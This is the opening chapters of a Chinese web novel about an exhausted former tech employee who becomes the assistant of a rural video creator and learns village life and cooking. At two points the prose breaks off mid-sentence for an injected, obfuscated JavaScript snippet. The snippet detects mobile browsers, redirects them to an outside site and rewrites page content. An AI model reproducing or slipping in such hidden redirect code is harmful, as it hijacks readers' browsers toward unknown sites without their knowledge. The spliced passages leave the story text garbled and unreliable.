《共枕青山》 1. 进村 咯咯咯!!! ——公鸡实打实的扯着嗓子,恨不得把嗓子眼儿掏出来给你看的打鸣。 陆时砚睁开眼,盯着住了二十八年的老屋房梁,第无数次想:这鸡到底图什么?每天起这么早,也没见它有什么要紧事。 窗外天还蒙蒙亮,灰蓝色的光从窗帘缝隙里漏进来。陆时砚躺了两秒,认命地掀开被子。 院子里,那只领头的大公鸡正站在墙头,昂首挺胸,像一位刚发表完演说的政治家,正等待掌声。 陆时砚路过它时,顺手往它嘴里塞了把玉米。 鸡:“咕。” 世界清静了。 他先去菜地转了一圈。春天的黄瓜刚挂果,细细小小的,顶着朵快谢了的黄花。茄子还赖在苗里不肯长大。辣椒倒是积极,已经结了好几茬,陆时砚摘了几个,打算今天做个虎皮青椒。 露水打湿了裤脚,凉丝丝的。远处山坳里有雾,一团一团的,慢吞吞往上升。有几户人家的烟囱已经冒烟了,炊烟和晨雾缠在一起,分不清谁是谁。 陆时砚站在地头看了会儿,忽然想起自己已经三天没更新了。手机里躺着二十三条未读消息。 八条是粉丝催更的,十五条是商务合作的,语气一个比一个热情,措辞一个比一个像复制粘贴的。 他点开最上面那条:【陆老师您好,我们是XX品牌,想和您洽谈合作……】 往下滑。 【陆老师您好,我们是XX平台,诚邀您入驻……】 再滑。 【陆老师您好,我们是……】 陆时砚退出微信,打开招聘软件。 是的,他决定招人了。 一个人实在忙不过来。拍视频、剪片子、写文案、谈商务、回消息,还要种地、喂鸡、做饭、洗衣——等等,洗衣好像没怎么洗过,都是攒够一锅扔洗衣机。 但这不重要。 重要的是,他需要一个助理。 要求不高:会剪视频,懂商务,能吃苦,适应乡村生活。 薪资面议,包食宿,地点偏远,非诚勿扰。 他把招聘帖发出去,顺手拍了张黄瓜苗的照片发动态:在长了,别催。 粉丝秒回:【陆老师你三天没更新了你知道这三天我怎么过的吗】 【黄瓜:我被催更的压力好大】 【所以视频呢?】 陆时砚面无表情地关掉手机,回去做早饭。 沈叙看到那条招聘帖的时候,正在出租屋里吃泡面。 凌晨三点,这是他今天的第三顿饭,也是今天的第二顿泡面。红烧牛肉味的,桶装的,开水一冲就行,连碗都不用洗。 他已经连续一个月没正经吃过饭了。 不是没钱,是没时间,没力气,没心情。 项目上线前的最后冲刺,组里所有人都疯了。有人睡在工位,有人靠咖啡续命,有人一边输液一边改代码。沈叙属于那种不声不响但很能扛的类型,连续三周,平均每天睡三四个小时,居然还能站着。 直到那天凌晨四点,他站在三十二层的落地窗前,看着楼下零星的车灯,和远处永远不灭的城市灯火,忽然想:我要是在这儿猝死了,得多久才会被人发现? 第二天,他提交了离职申请。 领导找他谈话,说项目马上上线了,你现在走对得起大家吗?说公司待你不薄,年终奖还没发呢。说你出去看看,现在这行情,能找到比我们更好的? 沈叙听着,忽然笑了。 他说:“我就是想找个能活着的地方。” 他投简历投得很随缘,什么方向的都有,只要不在这个城市,只要不是互联网大厂。他的要求已经低到尘埃里:能喘气就行。 然后就看到了陆时砚那条招聘帖。 地点:柿子沟村。 工作内容:助理。 要求:能吃苦,适应乡村生活。 薪资面议,包食宿。 沈叙盯着“包食宿”三个字看了很久。他算了算自己卡里的余额,又算了算这个月的房租,再算了算外卖和泡面的开销。 果断点开对话框,打字:【您好,我对这个岗位很感兴趣,方便聊聊吗?】 发出去之后他才发现,对方发帖时间是今天早上七点。 现在是凌晨三点十八分。 正想撤回,对面居然回复了:【现在方便?】 沈叙愣住。 他打字:【您还没睡?】 对面:【起了。】 沈叙看了眼时间,确认是凌晨三点没错。 他小心翼翼地问:【您起这么早?】 对面:【鸡叫的。】 沈叙不太明白鸡叫和起床有什么关系,但他没问。他怕问多了显得自己很没见过世面——虽然确实没见过。 他们约了第二天晚上视频面试。沈叙关掉手机,把最后一口泡面汤喝掉,躺回床上。 出租屋的隔音很差,隔壁在打游戏,楼上在洗澡,窗外有辆摩托车轰隆隆地过去。他盯着天花板,想:那个地方,鸡叫的时候,会不会很安静? 第二天晚上七点,沈叙准时打开视频。他特意换了件干净的白衬衫,把头发梳整齐,还擦了擦眼镜。镜头里那张脸还是苍白得有点过分,眼底青黑怎么都遮不住,但他尽力了。 视频接通,对面出现一张脸。 很好看的一张脸。 眉眼清淡,像是用毛笔蘸淡墨勾的,不浓不淡刚刚好。头发有点长,随意地拢在耳后。背景是土墙和老木头窗框,窗户外头黑漆漆的,隐约能看见山的轮廓。 沈叙愣了一下。 对面的人也愣了一下,然后开口:“你是沈叙?”声音也清淡,不紧不慢的,像山里的泉水。 沈叙:“……是。陆老师好。” 陆时砚:“不用叫老师。我看过你简历了,之前在大厂做运营?” 沈叙:“对,三年。” 陆时砚:“为什么想离职?” 这个问题沈叙被问过很多次。他准备了很多套说辞:想换个环境、想挑战自己、想尝试新方向。 但看着镜头里那双安静的眼睛,他忽然不想说了。沉默了两秒,他开口:“想找个能活着的地方。” 陆时砚没说话。 沈叙心想,完了,说错话了。 然后听见陆时砚问:“会做饭吗?” 沈叙愣住,没想到话题转得这么快。他诚实地说:“会……吧。” 这个“吧”字暴露了很多东西。 陆时砚嘴角动了动,不知道是想笑还是想叹气。他又问:“会干农活吗?” 沈叙:“不会。但我可以学。” “怕不怕鸡?” 沈叙想起老家奶奶养的那群鸡,追着他啄的场景还历历在目。他犹豫了一下:“……有点。” “怕不怕鹅?” 沈叙没被鹅追过,但他莫名觉得那应该很可怕。他小声说:“没试过。” 陆时砚沉默了三秒。 这三秒里,沈叙的大脑飞速运转:他是不是嫌我太废物了?是不是觉得我什么都不会?是不是要挂电话了? 陆时砚说:“行,你什么时候能来?” 沈叙:“……啊?” 陆时砚:“我问你什么时候能到岗。” 沈叙:“您不再考虑一下?我可能真的……不太会生活。” 陆时砚看着他,语气平淡:“不会可以学。你说的那些会的,我不会。” 沈叙张了张嘴,发现自己没法反驳。 陆时砚说:“我发你地址,到了给我打电话。村里没有车,你从镇上坐公交进来,跟司机说到村口下就行。” 沈叙愣愣地点头。 挂掉视频,他在椅子上坐了很久。手机屏幕已经暗下去了,他看见自己的脸映在黑屏里,穿着白衬衫,头发梳得整整齐齐,像个准备去面试正经工作的正经人。 但他刚刚被一个拍视频的乡下人录取了。 去一个他只在电视里见过的地方。 做一个他完全不知道怎么做的工作。 沈叙忽然笑了。 这是他离职以来,第一次笑。 三天后,沈叙拖着行李箱站在村口。阳光很好,晒得人暖洋洋的。土路两边是刚返青的麦田,风一吹,绿浪滚滚地涌向远处。有麻雀落在电线杆上,叽叽喳喳地吵架。 空气里有股奇怪的味道,不是城市里那种汽车尾气混着餐馆油烟的味道,是青草、泥土、还有一点牲畜粪便混合起来的味道。 不难闻,就是陌生。 沈叙深吸一口气,拖着箱子往里走。他穿着来时的西装,皮鞋锃亮,行李箱锃亮,整个人在这条土路上显得格格不入。有几只鸡从墙根底下钻出来,歪着头看他。 沈叙和它们对视。 他想起陆时砚问的那句“怕不怕鸡”,当时他说“有点”,现在他觉得说轻了。 他真的有点怕。 那几只鸡的眼神太有压迫感了,好像在审判一个闯入它们领地的外星人。 沈叙决定绕道走。 他刚迈步,脚边忽然窜过一个黑影。 低头一看,是只大白鹅,昂着头,迈着六亲不认的步伐,正缓缓地转过脖子看他。 沈叙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305515|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 僵住了。 大白鹅也停住了。 四目相对。 沈叙从那双豆大的眼睛里读出了一句潜台词:你谁? 他下意识后退半步。 鹅跟着前进一步。 沈叙再退。 鹅再进。 沈叙的行李箱歪了,他手忙脚乱地去扶,鹅趁这个机会又近了一步,脖子往前一伸,嘴离他的裤腿只有零点零一公分。 “别动。” 一只手从后面伸过来,准确地捏住了鹅的后脖颈。鹅挣扎了两下,发现挣不脱,很不服气地“嘎”了一声。 沈叙回头,看见陆时砚站在他身后。真人比视频里好看。穿着件洗得发白的灰T恤,袖子挽到手肘,手腕上还沾着点泥。头发比视频里更随意,有几缕垂在额前。 他看着沈叙,又看了看他的西装,再看了看那只还在蹬腿的鹅,嘴角终于弯了一点。 “你穿这个来的?” 沈叙低头看看自己,忽然意识到这身打扮在这个场景里有多好笑。他耳朵有点热:“我带了换洗衣服。” “带的什么?” “……西装。” 陆时砚沉默了两秒,然后把鹅往旁边一扔。鹅在空中划出一道优美的抛物线,稳稳落地,回头又“嘎”了一声,这次明显是在骂人。陆时砚充耳不闻,对沈叙说:“走吧。” 他接过沈叙的行李箱,转身往村里走。沈叙跟在后面,路过那只鹅时,他特意绕了个大圈。 鹅斜睨着他,脖子上的毛微微竖起,但没动,沈叙松了一口气。 走出去几步,他听见后面传来“嘎”的一声,回头一看,那只鹅正追着一只倒霉的鸡满院子跑。 他忽然意识到:原来它不是针对我,它对谁都这样。 这个认知让他心情好了不少。 他快走几步,追上前面那个人。 阳光从身后照过来,把两个人的影子拉得很长,一前一后,落在这条土路上。 远处的麦田在风里沙沙地响。 陆时砚忽然开口:“你叫什么来着?” 沈叙愣了一下:“沈叙。” “沈叙。”陆时砚念了一遍,像是要把这两个字记住,“到了。” 他推开一扇木门,露出里面的院子。土墙,青瓦,一棵老槐树,几垄菜地。墙角堆着柴火,屋檐下挂着干辣椒。那只追过他的鸡们正在院子里闲逛,看到他进来,只是懒洋洋地抬了抬眼皮。 陆时砚把行李箱放在台阶上,回头看他。 “这就是你家。” 沈叙站在门口,看着这个陌生的院子,闻着陌生的空气。他忽然想起三天前的凌晨三点,他站在三十二层的落地窗前,想:我要是在这儿猝死了,得多久才会被人发现? 现在他看着这个院子,心想:在这儿,可能第二天就会被发现。 因为那只鹅会第一个来啄他的尸体。 想到这里,他莫名其妙地想笑。 然后他就笑了。 陆时砚看着这个新来的助理站在门口傻笑,西装革履,皮鞋锃亮,和这个破旧的院子格格不入。 他心想:这人怕是不太正常。 但他没说出来。 他只是说:“进来吧,吃饭了。” 沈叙跟着他走进院子。 那天中午,他们吃了第一顿饭。陆时砚做的,很简单,一盘虎皮青椒,一盘炒鸡蛋,两碗米饭。 沈叙吃得很慢,每一口都嚼很久。 陆时砚看他:“不好吃?” 沈叙摇头,嘴里还塞着饭,含糊不清地说:“好吃。” 真的好吃,是那种有人给你做饭的好吃,是你加班到凌晨三点、连续吃了三个月泡面之后,忽然吃到的好吃。 是家的那种好吃。 他低头扒饭,没让对面那个人看见自己的眼睛。 吃完饭,沈叙抢着收拾碗筷,然后他打碎了一个碗。陆时砚看着地上的碎片,沉默了三秒。 沈叙手足无措:“从、从我工资里扣!” 陆时砚叹了口气,拿起扫帚:“算了,当入职礼物。” 沈叙愣住,他看着陆时砚弯腰扫碎片的样子,忽然觉得这个人好像也没那么高冷。 外面那只鹅又“嘎”了一声,沈叙下意识往门口看了一眼。陆时砚头也不抬:“它叫村霸,没熟之前,你离它远点。” 沈叙心想,这名字起得真贴切。 他蹲下来,想帮忙捡碎片,陆时砚挡开他的手:“别动,扎着。” 沈叙只好蹲在旁边看,阳光从窗户照进来,落在地上那些碎瓷片上,亮晶晶的。 2. 第一顿饭 沈叙蹲在旁边看陆时砚扫完碎片,忽然想起一件事:“碗……多少钱?” 陆时砚把碎瓷片倒进垃圾桶,头也不抬:“祖传的。” 沈叙脸色一白。 陆时砚扫了他一眼,嘴角动了动:“逗你的。地摊买的,三块五。” 沈叙松了一口气,然后又提起来:“三块五也是钱,从我工资里扣。” “行。”陆时砚把扫帚放回墙角,“扣了。现在你倒欠我三块五。” 沈叙认真地点点头,像是在心里的小本本上记了一笔。 陆时砚看着他那副模样,忽然觉得这人有点意思。简历上写着“精通商务谈判”“擅长数据分析”,结果被一个三块五的碗吓成这样。 “走吧,”他转身往外走,“带你去认认门。”沈叙赶紧跟上去。 院子里,那群鸡正围着一盆水开大会,叽叽咕咕的,不知道在讨论什么。墙角那只叫“村霸”的大白鹅正闭目养神,听到脚步声,眼睛睁开一条缝,看到是沈叙,又把眼睛闭上了。 那表情分明在说:懒得理你。 沈叙默默绕到陆时砚另一边走。院子不大,但东西不少。东边是菜地,几垄绿油油的,沈叙一样都不认识。西边搭了个棚子,堆着柴火和一些农具。正屋是三间瓦房,中间是堂屋,两边是卧室。厨房在偏房,门口挂着半截帘子,看不清里面。 陆时砚推开东边那间房门:“你住这。”沈叙探头一看。 房间不大,但收拾得很干净。一张木头床,铺着洗得发白的蓝格子床单。一张书桌,靠着窗,桌上放着一盏旧台灯。窗户外面就是那棵老槐树,枝叶正好遮住午后的太阳,在屋里投下一片晃动的影子。 沈叙站在门口,忽然有点不敢进去。 他想起自己租的那间房子,十二平,月租三千五,窗户对着邻居的墙,白天也要开灯。隔壁打游戏的声音、楼上洗澡的水声、窗外摩托车的轰鸣,二十四小时不间断。 而这个房间,安静得能听见风穿过树叶的声音。 陆时砚看他不动,问:“嫌小?” 沈叙摇头,声音有点涩:“没有。” 他拖着行李箱进去,发现地上放着一双拖鞋,布面的,洗得很干净,一看就是特意准备的。 他回头看了陆时砚一眼,陆时砚已经转身往外走:“收拾一下,等会儿带你认认其他地方。” 沈叙蹲下来换鞋,拖鞋刚好合脚。 他把行李箱打开,把里面的东西往外拿。三套西装,两件白衬衫,一台笔记本电脑,一个充电器,一个剃须刀,一瓶眼药水,一盒褪黑素。 这就是他在城市里生活六年的全部家当。 他把西装挂进衣柜,衣柜里空荡荡的,只有几个木头衣架,散发着一股淡淡的樟木味。他把眼药水和褪黑素放在书桌上,和那盏旧台灯并排。 做完这些,他在床边坐了一会儿。 窗外的老槐树在风里轻轻地响,叶子缝隙里漏下来的光斑在床单上晃来晃去。有只鸟落在窗台上,歪着头看他,叽喳一声,又飞走了。 沈叙忽然想,这不会是梦吧。 他掐了一下自己的手背。 疼的。 外面传来陆时砚的声音:“收拾好了没?” 沈叙站起来,应了一声:“好了。” 他走出去,陆时砚站在院子里等他,手里拿着两顶草帽。见沈叙出来,递给他一顶:“戴上,太阳晒。” 沈叙接过草帽,看了看,又看了看陆时砚头上那顶。他犹豫了一下,还是把草帽扣在了自己头上。 陆时砚看了他一眼,什么也没说,转身往外走。他跟上去,走了两步,忽然发现有什么不对。 回头一看,那只叫村霸的鹅正跟在他们后面,保持着大概两米的距离,不紧不慢地走着。 沈叙:“……它跟着我们干什么?” 陆时砚头也不回:“巡逻。” “巡逻?” “它的地盘,每天都要巡视一遍。”陆时砚顿了顿,“顺便监督你有没有入侵的企图。” 沈叙:“……我没有企图。” 陆时砚:“你跟它说。” 沈叙看了一眼那只鹅,那只鹅也正看着他,眼神里写满了“我不信”。 默默转过头,决定无视它。 他们沿着村里的土路走了一圈。陆时砚一路指给他看:这是村委会,那是小卖部,这是李大妈家,那是王大爷家。村东头有条河,村西头有座山,山上有片竹林,春天可以挖笋。 沈叙一边听一边记,脑子里乱糟糟的,人名地名挤成一团。 路过一户人家,院门口坐着个头发花白的老太太,正剥豆子。看到他们,老太太眼睛一亮:“哟,小陆!这是谁啊?” 陆时砚停下脚步:“李大妈,这是我新招的助理,沈叙。” 李大妈上上下下打量着沈叙,眼神亮得吓人:“哟,长得真俊!小伙子多大了?有对象没有?” 沈叙被问得一懵,下意识看向陆时砚。 陆时砚面无表情:“李大妈,他刚到,还没安顿好。” 李大妈摆摆手:“行行行,我不耽误你们。回头来大妈家吃饭啊,大妈给你做好吃的!” 沈叙赶紧点头:“谢谢大妈。” 走出去老远,沈叙小声问:“李大妈一直这么……热情吗?” 陆时砚:“嗯。她还要给你介绍对象,你做好心理准备。” 沈叙:“……” 那只鹅在后面“嘎”了一声,像是在嘲笑他。 太阳渐渐西斜,把整个村子染成暖黄色。炊烟升起来了,从各家各户的烟囱里,一缕一缕地往天上飘。空气里开始弥漫着饭菜的香味,沈叙闻不出来是什么菜,但就是觉得香。 他忽然想起来,从早上到现在,他只吃了那顿早饭。 肚子适时地叫了一声。 陆时砚脚步顿了顿,回头看他:“饿了?” 沈叙有点不好意思:“还行。” 陆时砚没说话,转身往回走,沈叙跟上去,那只鹅也跟上去。 走到半路,陆时砚忽然停下,从路边地里拔了几根葱。沈叙看着他把葱抖了抖土,随手拿着,动作自然得像是做过一万遍。 他忽然想起自己连韭菜和麦苗都分不清。 晚饭时间,沈叙再次主动请缨。 “我来做饭吧。”他说,“您休息一会儿。” 陆时砚看着他,眼神里带着一丝微妙:“你确定?” 沈叙点头。他心想,做饭能有多难?他看过那么多菜谱,做过那么多数据分析,一个红烧肉而已,还能比项目上线难? 陆时砚没拦他,只是说:“菜在冰箱里,需要什么自己拿。我去喂鸡。” 沈叙信心满满地进了厨房,厨房不大,但东西很全。灶台是土砌的,上面架着一口大铁锅。沈叙只在电视里见过这种灶,一时不知道该怎么下手。他研究了一会儿,发现旁边有个煤气灶,松了口气。 打开冰箱,里面有猪肉、鸡蛋、青菜、辣椒、葱姜蒜。沈叙想了想,决定做三个菜:红烧肉、炒青菜、西红柿鸡蛋汤。 很合理,很均衡,很营养。 他先把肉拿出来解冻,然后开始洗菜。 洗菜很简单,他会的。他把青菜放进水池里,打开水龙头,认认真真一片一片地洗。洗完之后,想了想,又洗了一遍。洗完之后,他又想了想,觉得应该再洗一遍。 等他终于觉得洗够了,回头一看,肉还在解冻。 看了看时间,已经过去二十分钟。 肉有点软,不太好切,切出来的块大大小小,有的厚有的薄,有的带皮有的不带皮。他看着这一堆奇形怪状的肉块,心想:没事,反正煮熟了都一样。 开火,倒油。油热了,他把肉倒进去。“刺啦”一声,油花四溅。沈叙往后一跳,差点撞翻旁边的调料架。他手忙脚乱地拿起锅铲,开始翻炒。 炒着炒着,他发现肉开始变色了。 这是好的迹象,他想。 他又炒了一会儿,发现肉开始粘锅了。 这好像不太对, 赶紧加了一点水,水遇到热油,“刺啦”一声更大了,白烟冒起来,呛得他直咳嗽。他眯着眼睛摸索着找到酱油瓶,往锅里倒了一些。 锅里的颜色变深了,看起来有点像红烧肉的样子。他松了口气,盖上锅盖,让它炖着。往另一个锅里倒油,油热了,把青菜倒进去。 这次没有炸锅,他很满意。他开始翻炒,青菜慢慢变软,颜色变深。他想起菜谱上说要放盐,就放了一勺。想了想,又放了一勺。 把青菜盛进盘子里,看着那盘绿油油的菜,觉得很有成就感。 他突然闻到了一股糊味,猛地回头,发现第一个锅正在冒烟。他赶紧掀开锅盖,一股浓烟扑面而来,把他呛得眼泪直流。他眯着眼睛看向锅里—— 锅里的肉已经黑了。 沈叙愣在原地。 他不信邪地用锅铲戳了戳那块最大的肉,硬的,像石头一样硬。试图挽救般加了点水,想把它煮软。水倒进去,刺啦一声,冒出一阵白烟,然后就没有然后了。锅里的肉依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305516|198711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然黑,依然硬,依然像石头。 沉默地看着那锅不明物体,忽然想起陆时砚说的那句“你确定”。 他应该听他的。 外面传来脚步声。沈叙来不及反应,陆时砚已经掀开门帘走了进来。 厨房里烟雾缭绕,两个灶台都在冒烟。陆时砚看了一眼第一个锅,又看了一眼第二个锅,再看了一眼台面上乱七八糟的调料和菜叶,最后把目光落在沈叙脸上。 沈叙拿着锅铲,站在一片狼藉之中,脸上不知是油还是汗,眼镜片上蒙着一层白雾。他张了张嘴,想说什么,但什么也说不出来。 陆时砚沉默了三秒。 那三秒里,沈叙的大脑飞速运转:他是不是生气了?是不是觉得我太废物了?是不是想让我卷铺盖走人? 最后陆时砚叹了口“果然如此”的气。他走过来,先关了第一个灶的火,把锅端下来放在一边。又关了第二个灶的火,把那盘炒青菜端到一边。然后他打开窗户,让烟雾散出去。 做完这些,他回头看着沈叙,问了一句:“你按照什么菜谱做的?” 沈叙小声说:“红烧肉。” 陆时砚低头看了看锅里那堆黑色的东西,沉默了两秒,问:“红烧肉?” 沈叙的脸红了。 陆时砚把锅放进水池里,打开水龙头,开始刷锅。水声哗哗的,沈叙站在旁边,觉得自己应该帮忙,但又不知道该帮什么。他刷完锅,回头看沈叙:“站着干什么?把那盘菜端过来。” 沈叙赶紧把炒青菜端过去,陆时砚看了看那盘青菜,用筷子夹了一根,放进嘴里。 陆时砚嚼了嚼,咽下去,然后说:“盐放多了。” 沈叙的心沉下去。 陆时砚又说:“不过还能吃。” 沈叙的心又浮上来一点。 陆时砚放下筷子,看了看冰箱,又看了看那堆还没处理完的食材,最后看向沈叙:“你饿吗?” 沈叙点头。 陆时砚又问:“想吃什么?” 沈叙愣了一下:“我来做?” 陆时砚看着他,眼神里带着一点无奈:“你来做,咱俩今晚得饿着。” 沈叙无话可说。 陆时砚从柜子里拿出两包泡面,又拿了两个鸡蛋,一把青菜。他开火,烧水,下面,打蛋,放青菜,一气呵成,整个过程不超过五分钟。 两碗泡面端上桌,每碗上面卧着一个荷包蛋,飘着几片翠绿的青菜。陆时砚把其中一碗推到沈叙面前:“吃吧。” 沈叙看着那碗面,热气腾腾的,香气扑鼻。他拿起筷子,夹了一筷子,吹了吹,放进嘴里,他低着头吃面,没敢抬头。 陆时砚坐在对面,慢条斯理地吃着自己的那碗。吃到一半,他忽然开口:“第一次做饭?” 沈叙点头。 陆时砚没再说话。 吃完面,沈叙抢着洗碗。这次他很小心,洗得很慢,没有打碎任何东西。 洗完碗,他走出厨房,看见陆时砚正坐在院子里抽烟。烟雾在暮色里慢慢散开,他的侧脸被最后一点天光照着,轮廓很好看。 沈叙走过去,在他旁边站着,陆时砚没看他,只是说:“明天开始,我教你做饭。” 沈叙愣了一下:“你还要留我?” 陆时砚转头看他,眼神里带着一点不解:“为什么不留?” 沈叙张了张嘴,想说“我今天差点把你厨房烧了”“我连泡面都煮不好”“我可能真的是个废物”。 但他什么都没说出来。 陆时砚把烟掐灭,站起来,拍了拍他的肩膀:“人都是慢慢学的。我刚开始拍视频的时候,连对焦都对不准。” 沈叙看着他。 陆时砚已经转身往屋里走,声音从暮色里传过来:“明天早上六点,起得来就教你。”沈叙站在院子里,看着他的背影消失在门里。 天已经黑透了,星星一颗一颗地亮起来。远处有狗叫,近处有虫鸣。那只叫村霸的鹅不知道什么时候也回来了,正蹲在墙角,把自己缩成一团白色的球。 沈叙忽然想起自己那盒褪黑素。 他今天应该不需要吃了。 转身回屋,走到门口,忽然想起什么,回头看了一眼。 那只鹅正睁着一只眼睛看他。 四目相对。 鹅把眼睛闭上了。 沈叙莫名其妙地想笑。 他推开门,走进那间安静得能听见风穿过树叶的房间,窗外的老槐树在夜里轻轻地响。 他想,这个地方,好像真的可以待下去。 3. 六点钟的约定 沈叙做了一个梦。 梦里他还在那间十二平的出租屋里,隔壁打游戏的声音震天响,楼上洗澡的水声哗啦啦,窗外摩托车轰隆隆地过去。他躺在床上,怎么也睡不着,数羊数到三千只,越数越清醒。 然后他就听见一声鸡叫,猛地睁开眼。入目是木头房梁,蓝格子床单,窗外有棵老槐树,阳光从树叶缝隙里漏下来,在墙上晃成一片碎金。 他愣了两秒,才想起来自己在哪儿,摸过手机一看——五点五十五分。 沈叙躺了两秒,认命地爬起来。 穿衣服的时候他犹豫了一下。他带来的全是西装,昨天那套已经沾了油烟,剩下两套干净的,一套深灰一套藏青。他想了想,选了深灰那套,毕竟要学做饭,藏青的万一溅上油渍更明显。 对着镜子看了看,头发有点乱,眼镜有点歪,脸色还是有点白,但比刚来那天好一点——可能是在村里睡了一觉的关系。 他推开门走出去。 清晨的空气扑面而来,凉丝丝的,带着一股青草和露水的味道。院子里的鸡们已经起来了,正围在食盆前开会。墙角的村霸还在睡,把自己缩成一大团白色的毛球,脑袋插在翅膀里,看着居然有点……可爱? 沈叙刚冒出这个念头,村霸忽然睁开一只眼睛。 依旧四目相对。 那只眼睛里写满了:你刚才是不是在想什么失礼的事? 沈叙默默移开视线。 厨房里亮着灯,有轻微的响动。他走过去,掀开门帘,看见陆时砚正背对着他切菜。 清晨的阳光从窗户照进来,给他的侧影镀了一层淡金色。他穿着件旧T恤,袖子挽到手肘,露出线条利落的小臂。切菜的动作不紧不慢,刀起刀落,案板上的黄瓜变成均匀的薄片。 沈叙站在门口,忽然不知道该不该出声。陆时砚头也不回:“站着干什么?进来。” 走进去,发现灶台上已经煮着粥了,咕嘟咕嘟地冒着热气。案板上除了黄瓜,还有切好的葱花、打散的鸡蛋、几瓣拍好的蒜。 陆时砚把刀放下,回头看他。目光落在他身上那套深灰色西装上,顿了一顿。 沈叙被他看得有点心虚:“……怎么了?” 陆时砚沉默了两秒,说:“你就穿这个学做饭?” 沈叙低头看看自己,忽然意识到问题所在。 西装。 做饭。 油。 他张了张嘴:“我只有西装。” 陆时砚又沉默了。 那眼神在说:你是认真的吗? 但他什么也没说,只是转身走到角落里,从一个旧柜子里翻出一件东西,扔给沈叙。 沈叙接住一看——是一件洗得发白的蓝布围裙,前面有个大口袋,系带是两根布条,看着像是自己做的。 陆时砚说:“穿上。别把我给你的工资都赔在干洗费上。” 沈叙把围裙抖开,往身上套。系带在背后绕了两圈,打了个死结。陆时砚看着他费劲的样子,叹了口气,绕到他身后,把那死结解开,重新系了一个蝴蝶结。 沈叙僵在原地,他能感觉到陆时砚的手指隔着布料碰到他的后背,轻轻的,很快就收回去。 “行了。”陆时砚回到灶台前,“过来,先学打鸡蛋。” 沈叙走过去,站在他旁边,陆时砚拿过一个鸡蛋,在碗沿上一磕,两手一掰,蛋清蛋黄稳稳地落进碗里,整个过程行云流水,不到两秒。 沈叙看着那个完整的蛋黄,觉得好像也不是很难。他拿起一个鸡蛋,学着陆时砚的样子,在碗沿上一磕。用力过猛,鸡蛋壳碎了一地,蛋液顺着他的手流下来,糊了他一手。 沈叙:“……” 陆时砚递过来一块抹布,沈叙擦完手,又拿起第二个鸡蛋。 这次他放轻了力道,磕了一下,没磕开。又磕一下,还是没磕开。他加大力度磕第三下——“啪”,壳又碎了,蛋液再次糊了一手。 陆时砚在旁边看着,什么也没说,又什么都说了。 沈叙不信邪,又拿起第三个。 这次他仔细研究了碗沿的角度、磕的力度、掰开的手法,然后—— 蛋壳没碎,鸡蛋被他捏爆了。 蛋液从指缝里流下来,滴在地上,滴在围裙上,滴在他那双擦得锃亮的皮鞋上。 沈叙看着自己的手,陷入了沉思。陆时砚递过来另一块抹布,顺便把装鸡蛋的篮子往远处挪了挪。 等沈叙收拾干净,篮子里只剩下三个鸡蛋了。陆时砚把它们全拿过去,单手打蛋,三秒三个,三个完整的蛋黄在碗里挤成一堆。 他把碗推给沈叙:“搅散。” 沈叙这次学聪明了,先问:“用什么搅?”陆时砚递给他一双筷子。 沈叙接过筷子,开始搅蛋。他搅得很认真,很用力,筷子在碗里飞快地转动,蛋液被他搅得四处飞溅。 陆时砚按住他的手:“轻一点。”他的手比陆时砚的大一圈,骨节分明,此刻正被轻轻按着,动弹不得。 沈叙愣了一下,反应过来时陆时砚已经松开手,示范给他看:“这样,慢慢搅,匀了就行,不用打高尔夫。” 沈叙学着他的样子,慢慢搅,这次没再飞溅。陆时砚满意地点点头,转身去切别的菜。 沈叙一边搅蛋,一边偷偷看他。 清晨的阳光里,他的侧脸看起来比昨天更柔和一点。切菜的动作还是那么不紧不慢,好像这世上没有什么事能让他着急。 沈叙忽然想起昨晚他说“我刚开始拍视频的时候,连对焦都对不准”。 他想象不出这个人手忙脚乱的样子。 “搅好了。”沈叙把碗递过去。 陆时砚看了一眼,点点头:“还行。下一步,热锅倒油。” 沈叙走到灶前,打开火,往锅里倒油。陆时砚在旁边说:“油热了就把蛋液倒进去,用锅铲推,不要翻。” 沈叙盯着锅里的油,等着它热起来。看着油面开始波动,看着有一点点烟冒起来,然后把蛋液倒了进去。 “刺啦”一声,蛋液在油里迅速膨胀,边缘开始冒泡。沈叙拿起锅铲,按照陆时砚说的,从边缘往里推。 蛋液在他手下慢慢凝固,变成一大块金黄色的蛋饼,香气扑鼻。 沈叙愣住了。 这居然成功了? 他看向陆时砚,眼睛亮亮的:“我成功了?” 陆时砚看了一眼锅里那块蛋饼,沉默了两秒,然后说:“把它弄碎,盛出来。” 沈叙用锅铲把蛋饼戳碎,盛进碗里。虽然碎块大小不一,但确实是熟了,确实是金黄色,确实闻起来很香。 他端起来闻了闻,被烫了一下。陆时砚把碗接过去放在一边,又开始教他炒下一个菜。 接下来的一个小时,沈叙学会了炒鸡蛋(虽然卖相一般),学会了炒青菜(盐还是放多了,但比昨天强),学会了煮粥(水放多了,但陆时砚说“粥就是稀的,没关系”)。 等两人坐下来吃饭的时候,已经快八点了。早饭是沈叙参与做的:白粥、炒鸡蛋、炒青菜、还有陆时砚昨晚腌的萝卜条。 沈叙尝了一口自己炒的鸡蛋。 咸了。 他又尝了一口自己炒的青菜。 也咸了。 他默默低头喝粥。 陆时砚坐在对面,吃得慢条斯理,把那一盘咸得能齁死人的炒鸡蛋一口一口吃完了。沈叙看着空盘子,忽然说:“你其实可以不用吃的。” 